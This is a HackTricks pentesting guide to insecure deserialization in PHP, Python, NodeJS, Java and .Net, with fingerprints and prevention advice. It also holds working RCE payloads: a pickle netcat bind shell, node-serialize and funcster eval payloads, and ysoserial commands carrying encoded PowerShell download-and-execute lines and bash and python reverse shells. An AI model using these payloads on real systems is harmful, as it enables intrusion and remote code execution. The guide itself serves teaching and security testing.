Deserialization

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

Basic Information

Serialization is understood as the method of converting an object into a format that can be preserved, with the intent of either storing the object or transmitting it as part of a communication process. This technique is commonly employed to ensure that the object can be recreated at a later time, maintaining its structure and state.

Deserialization, conversely, is the process that counteracts serialization. It involves taking data that has been structured in a specific format and reconstructing it back into an object.

Deserialization can be dangerous because it potentially allows attackers to manipulate the serialized data to execute harmful code or cause unexpected behavior in the application during the object reconstruction process.

PHP

In PHP, specific magic methods are utilized during the serialization and deserialization processes:

  • __sleep: Invoked when an object is being serialized. This method should return an array of the names of all properties of the object that should be serialized. It's commonly used to commit pending data or perform similar cleanup tasks.

  • __wakeup: Called when an object is being deserialized. It's used to reestablish any database connections that may have been lost during serialization and perform other reinitialization tasks.

  • __unserialize: This method is called instead of __wakeup (if it exists) when an object is being deserialized. It gives more control over the deserialization process compared to __wakeup.

  • __destruct: This method is called when an object is about to be destroyed or when the script ends. It's typically used for cleanup tasks, like closing file handles or database connections.

  • __toString: This method allows an object to be treated as a string. It can be used for reading a file or other tasks based on the function calls within it, effectively providing a textual representation of the object.

<?php
class test {
    public $s = "This is a test";
    public function displaystring(){
        echo $this->s.'<br />';
    }
    public function __toString()
    {
        echo '__toString method called';
    }
    public function __construct(){
        echo "__construct method called";
    }
    public function __destruct(){
        echo "__destruct method called";
    }
    public function __wakeup(){
        echo "__wakeup method called";
    }
    public function __sleep(){
        echo "__sleep method called";
        return array("s"); #The "s" makes references to the public attribute
    }
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>

If you look to the results you can see that the functions __wakeup and __destruct are called when the object is deserialized. Note that in several tutorials you will find that the __toString function is called when trying yo print some attribute, but apparently that's not happening anymore.

The method __unserialize(array $data) is called instead of __wakeup() if it is implemented in the class. It allows you to unserialize the object by providing the serialized data as an array. You can use this method to unserialize properties and perform any necessary tasks upon deserialization.

class MyClass {
    private $property;

    public function __unserialize(array $data): void {
        $this->property = $data['property'];
        // Perform any necessary tasks upon deserialization.
    }
}

You can read an explained PHP example here: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, here https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf or here https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

PHP Deserial + Autoload Classes

You could abuse the PHP autoload functionality to load arbitrary php files and more:

pagePHP - Deserialization + Autoload Classes

Serializing Referenced Values

If for some reason you want to serialize a value as a reference to another value serialized you can:

<?php
class AClass {
    public $param1;
    public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);

PHPGGC (ysoserial for PHP)

PHPGGC can help you generating payloads to abuse PHP deserializations. Note than in several cases you won't be able to find a way to abuse a deserialization in the source code of the application but you may be able to abuse the code of external PHP extensions. So, if you can, check the phpinfo() of the server and search on the internet (an even on the gadgets of PHPGGC) some possible gadget you could abuse.

phar:// metadata deserialization

If you have found a LFI that is just reading the file and not executing the php code inside of it, for example using functions like file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize(). You can try to abuse a deserialization occurring when reading a file using the phar protocol. For more information read the following post:

pagephar:// deserialization

Python

Pickle

When the object gets unpickle, the function __reduce__ will be executed. When exploited, server could return an error.

import pickle, os, base64
class P(object):
    def __reduce__(self):
        return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

For more information about escaping from pickle jails check:

pageBypass Python sandboxes

Yaml & jsonpickle

The following page present the technique to abuse an unsafe deserialization in yamls python libraries and finishes with a tool that can be used to generate RCE deserialization payload for Pickle, PyYAML, jsonpickle and ruamel.yaml:

pagePython Yaml Deserialization

Class Pollution (Python Prototype Pollution)

pageClass Pollution (Python's Prototype Pollution)

NodeJS

JS Magic Functions

JS doesn't have "magic" functions like PHP or Python that are going to be executed just for creating an object. But it has some functions that are frequently used even without directly calling them such as toString, valueOf, toJSON. If abusing a deserialization you can compromise these functions to execute other code (potentially abusing prototype pollutions) you could execute arbitrary code when they are called.

Another "magic" way to call a function without calling it directly is by compromising an object that is returned by an async function (promise). Because, if you transform that return object in another promise with a property called "then" of type function, it will be executed just because it's returned by another promise. Follow this link for more info.

// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
  const p = new Promise(resolve => {
    console.log('hello')
    resolve()
  })
  return p
}

async function test_then() {
  const p = new Promise(then => {
    console.log('hello')
    return 1
  })
  return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

__proto__ and prototype pollution

If you want to learn about this technique take a look to the following tutorial:

pageNodeJS - __proto__ & prototype Pollution

This library allows to serialise functions. Example:

var y = {
 "rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
}
var serialize = require('node-serialize');
var payload_serialized = serialize.serialize(y);
console.log("Serialized: \n" + payload_serialized);

The serialised object will looks like:

{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

You can see in the example that when a function is serialized the _$$ND_FUNC$$_ flag is appended to the serialized object.

Inside the file node-serialize/lib/serialize.js you can find the same flag and how the code is using it.

As you may see in the last chunk of code, if the flag is found eval is used to deserialize the function, so basically user input if being used inside the eval function.

However, just serialising a function won't execute it as it would be necessary that some part of the code is calling y.rce in our example and that's highly unlikable. Anyway, you could just modify the serialised object adding some parenthesis in order to auto execute the serialized function when the object is deserialized. In the next chunk of code notice the last parenthesis and how the unserialize function will automatically execute the code:

var serialize = require('node-serialize');
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
serialize.unserialize(test);

As it was previously indicated, this library will get the code after_$$ND_FUNC$$_ and will execute it using eval. Therefore, in order to auto-execute code you can delete the function creation part and the last parenthesis and just execute a JS oneliner like in the following example:

var serialize = require('node-serialize');
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
serialize.unserialize(test);

You can find here further information about how to exploit this vulnerability.

A noteworthy aspect of funcster is the inaccessibility of standard built-in objects; they fall outside the accessible scope. This restriction prevents the execution of code that attempts to invoke methods on built-in objects, leading to exceptions such as "ReferenceError: console is not defined" when commands like console.log() or require(something) are used.

Despite this limitation, restoration of full access to the global context, including all standard built-in objects, is possible through a specific approach. By leveraging the global context directly, one can bypass this restriction. For instance, access can be re-established using the following snippet:

funcster = require("funcster");
//Serialization
var test = funcster.serialize(function() { return "Hello world!" })
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = { __js_function: 'this.constructor.constructor("console.log(1111)")()' }
funcster.deepDeserialize(desertest2)
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
funcster.deepDeserialize(desertest3)

For more information read this source.

The serialize-javascript package is designed exclusively for serialization purposes, lacking any built-in deserialization capabilities. Users are responsible for implementing their own method for deserialization. A direct use of eval is suggested by the official example for deserializing serialized data:

function deserialize(serializedJavascript){
  return eval('(' + serializedJavascript + ')');
}

If this function is used to deserialize objects you can easily exploit it:

var serialize = require('serialize-javascript');
//Serialization
var test = serialize(function() { return "Hello world!" });
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

For more information read this source.

Cryo library

In the following pages you can find information about how to abuse this library to execute arbitrary commands:

Java - HTTP

In Java, deserialization callbacks are executed during the process of deserialization. This execution can be exploited by attackers who craft malicious payloads that trigger these callbacks, leading to potential execution of harmful actions.

Fingerprints

White Box

To identify potential serialization vulnerabilities in the codebase search for:

  • Classes that implement the Serializable interface.

  • Usage of java.io.ObjectInputStream, readObject, readUnshare functions.

Pay extra attention to:

  • XMLDecoder utilized with parameters defined by external users.

  • XStream's fromXML method, especially if the XStream version is less than or equal to 1.46, as it is susceptible to serialization issues.

  • ObjectInputStream coupled with the readObject method.

  • Implementation of methods such as readObject, readObjectNodData, readResolve, or readExternal.

  • ObjectInputStream.readUnshared.

  • General use of Serializable.

Black Box

For black box testing, look for specific signatures or "Magic Bytes" that denote java serialized objects (originating from ObjectInputStream):

  • Hexadecimal pattern: AC ED 00 05.

  • Base64 pattern: rO0.

  • HTTP response headers with Content-type set to application/x-java-serialized-object.

  • Hexadecimal pattern indicating prior compression: 1F 8B 08 00.

  • Base64 pattern indicating prior compression: H4sIA.

  • Web files with the .faces extension and the faces.ViewState parameter. Discovering these patterns in a web application should prompt an examination as detailed in the post about Java JSF ViewState Deserialization.

javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s

Check if vulnerable

If you want to learn about how does a Java Deserialized exploit work you should take a look to Basic Java Deserialization, Java DNS Deserialization, and CommonsCollection1 Payload.

White Box Test

You can check if there is installed any application with known vulnerabilities.

find . -iname "*commons*collection*"
grep -R InvokeTransformer .

You could try to check all the libraries known to be vulnerable and that Ysoserial can provide an exploit for. Or you could check the libraries indicated on Java-Deserialization-Cheat-Sheet. You could also use gadgetinspector to search for possible gadget chains that can be exploited. When running gadgetinspector (after building it) don't care about the tons of warnings/errors that it's going through and let it finish. It will write all the findings under gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt. Please, notice that gadgetinspector won't create an exploit and it may indicate false positives.

Black Box Test

Using the Burp extension gadgetprobe you can identify which libraries are available (and even the versions). With this information it could be easier to choose a payload to exploit the vulnerability. Read this to learn more about GadgetProbe. GadgetProbe is focused on ObjectInputStream deserializations.

Using Burp extension Java Deserialization Scanner you can identify vulnerable libraries exploitable with ysoserial and exploit them. Read this to learn more about Java Deserialization Scanner. Java Deserialization Scanner is focused on ObjectInputStream deserializations.

You can also use Freddy to detect deserializations vulnerabilities in Burp. This plugin will detect not only ObjectInputStream related vulnerabilities but also vulns from Json an Yml deserialization libraries. In active mode, it will try to confirm them using sleep or DNS payloads. You can find more information about Freddy here.

Serialization Test

Not all is about checking if any vulnerable library is used by the server. Sometimes you could be able to change the data inside the serialized object and bypass some checks (maybe grant you admin privileges inside a webapp). If you find a java serialized object being sent to a web application, you can use SerializationDumper to print in a more human readable format the serialization object that is sent. Knowing which data are you sending would be easier to modify it and bypass some checks.

Exploit

ysoserial

The main tool to exploit Java deserializations is ysoserial (download here). You can also consider using ysoseral-modified which will allow you to use complex commands (with pipes for example). Note that this tool is focused on exploiting ObjectInputStream. I would start using the "URLDNS" payload before a RCE payload to test if the injection is possible. Anyway, note that maybe the "URLDNS" payload is not working but other RCE payload is.

# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload 
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"

# Base64 encode payload in base64
base64 -w0 payload

When creating a payload for java.lang.Runtime.exec() you cannot use special characters like ">" or "|" to redirect the output of an execution, "$()" to execute commands or even pass arguments to a command separated by spaces (you can do echo -n "hello world" but you can't do python2 -c 'print "Hello world"'). In order to encode correctly the payload you could use this webpage.

Feel free to use the next script to create all the possible code execution payloads for Windows and Linux and then test them on the vulnerable web page:

import os
import base64
 
# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
    for payload in payloads:
        final = cmd.replace('REPLACE', payload)
        print 'Generating ' + payload + ' for ' + name + '...'
        command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
        result = command.read()
        command.close()
        encoded = base64.b64encode(result)
        if encoded != "":
            open(name + '_intruder.txt', 'a').write(encoded + '\n')
 
generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

serialkillerbypassgadgets

You can use https://github.com/pwntester/SerialKillerBypassGadgetCollection along with ysoserial to create more exploits. More information about this tool in the slides of the talk where the tool was presented: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1

marshalsec

marshalsec can be used to generate payloads to exploit different Json and Yml serialization libraries in Java. In order to compile the project I needed to add this dependencies to pom.xml:

<dependency>
		<groupId>javax.activation</groupId>
		<artifactId>activation</artifactId>
		<version>1.1.1</version>
</dependency>
		
<dependency>
		<groupId>com.sun.jndi</groupId>
		<artifactId>rmiregistry</artifactId>
		<version>1.2.1</version>
		<type>pom</type>
</dependency>

Install maven, and compile the project:

sudo apt-get install maven
mvn clean package -DskipTests

FastJSON

Read more about this Java JSON library: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

Labs

Why

Java uses a lot serialization for various purposes like:

  • HTTP requests: Serialization is widely employed in the management of parameters, ViewState, cookies, etc.

  • RMI (Remote Method Invocation): The Java RMI protocol, which relies entirely on serialization, is a cornerstone for remote communication in Java applications.

  • RMI over HTTP: This method is commonly used by Java-based thick client web applications, utilizing serialization for all object communications.

  • JMX (Java Management Extensions): JMX utilizes serialization for transmitting objects over the network.

  • Custom Protocols: In Java, the standard practice involves the transmission of raw Java objects, which will be demonstrated in upcoming exploit examples.

Prevention

Transient objects

A class that implements Serializable can implement as transient any object inside the class that shouldn't be serializable. For example:

public class myAccount implements Serializable
{
    private transient double profit; // declared transient
    private transient double margin; // declared transient

Avoid Serialization of a class that need to implements Serializable

In scenarios where certain objects must implement the Serializable interface due to class hierarchy, there's a risk of unintentional deserialization. To prevent this, ensure these objects are non-deserializable by defining a final readObject() method that consistently throws an exception, as shown below:

private final void readObject(ObjectInputStream in) throws java.io.IOException {
    throw new java.io.IOException("Cannot be deserialized");
}

Enhancing Deserialization Security in Java

Customizing java.io.ObjectInputStream is a practical approach for securing deserialization processes. This method is suitable when:

  • The deserialization code is under your control.

  • The classes expected for deserialization are known.

Override the resolveClass() method to limit deserialization to allowed classes only. This prevents deserialization of any class except those explicitly permitted, such as in the following example that restricts deserialization to the Bicycle class only:

// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {

    public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
        super(inputStream);
    }

    /**
    * Only deserialize instances of our expected Bicycle class
    */
    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
        if (!desc.getName().equals(Bicycle.class.getName())) {
            throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
        }
        return super.resolveClass(desc);
    }
}

Using a Java Agent for Security Enhancement offers a fallback solution when code modification isn't possible. This method applies mainly for blacklisting harmful classes, using a JVM parameter:

-javaagent:name-of-agent.jar

It provides a way to secure deserialization dynamically, ideal for environments where immediate code changes are impractical.

Check and example in rO0 by Contrast Security

Implementing Serialization Filters: Java 9 introduced serialization filters via the ObjectInputFilter interface, providing a powerful mechanism for specifying criteria that serialized objects must meet before being deserialized. These filters can be applied globally or per stream, offering a granular control over the deserialization process.

To utilize serialization filters, you can set a global filter that applies to all deserialization operations or configure it dynamically for specific streams. For example:

ObjectInputFilter filter = info -> {
    if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
    if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
    if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
        return Status.REJECTED; // Restrict to allowed classes
    }
    return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);

Leveraging External Libraries for Enhanced Security: Libraries such as NotSoSerial, jdeserialize, and Kryo offer advanced features for controlling and monitoring Java deserialization. These libraries can provide additional layers of security, such as whitelisting or blacklisting classes, analyzing serialized objects before deserialization, and implementing custom serialization strategies.

  • NotSoSerial intercepts deserialization processes to prevent execution of untrusted code.

  • jdeserialize allows for the analysis of serialized Java objects without deserializing them, helping identify potentially malicious content.

  • Kryo is an alternative serialization framework that emphasizes speed and efficiency, offering configurable serialization strategies that can enhance security.

References

JNDI Injection & log4Shell

Find whats is JNDI Injection, how to abuse it via RMI, CORBA & LDAP and how to exploit log4shell (and example of this vuln) in the following page:

pageJNDI - Java Naming and Directory Interface & Log4Shell

JMS - Java Message Service

The Java Message Service (JMS) API is a Java message-oriented middleware API for sending messages between two or more clients. It is an implementation to handle the producer–consumer problem. JMS is a part of the Java Platform, Enterprise Edition (Java EE), and was defined by a specification developed at Sun Microsystems, but which has since been guided by the Java Community Process. It is a messaging standard that allows application components based on Java EE to create, send, receive, and read messages. It allows the communication between different components of a distributed application to be loosely coupled, reliable, and asynchronous. (From Wikipedia).

Products

There are several products using this middleware to send messages:

Exploitation

So, basically there are a bunch of services using JMS on a dangerous way. Therefore, if you have enough privileges to send messages to this services (usually you will need valid credentials) you could be able to send malicious objects serialized that will be deserialized by the consumer/subscriber. This means that in this exploitation all the clients that are going to use that message will get infected.

You should remember that even if a service is vulnerable (because it's insecurely deserializing user input) you still need to find valid gadgets to exploit the vulnerability.

The tool JMET was created to connect and attack this services sending several malicious objects serialized using known gadgets. These exploits will work if the service is still vulnerable and if any of the used gadgets is inside the vulnerable application.

References

.Net

In the context of .Net, deserialization exploits operate in a manner akin to those found in Java, where gadgets are exploited to run specific code during the deserialization of an object.

Fingerprint

WhiteBox

The source code should be inspected for occurrences of:

  1. TypeNameHandling

  2. JavaScriptTypeResolver

The focus should be on serializers that permit the type to be determined by a variable under user control.

BlackBox

The search should target the Base64 encoded string AAEAAAD///// or any similar pattern that might undergo deserialization on the server-side, granting control over the type to be deserialized. This could include, but is not limited to, JSON or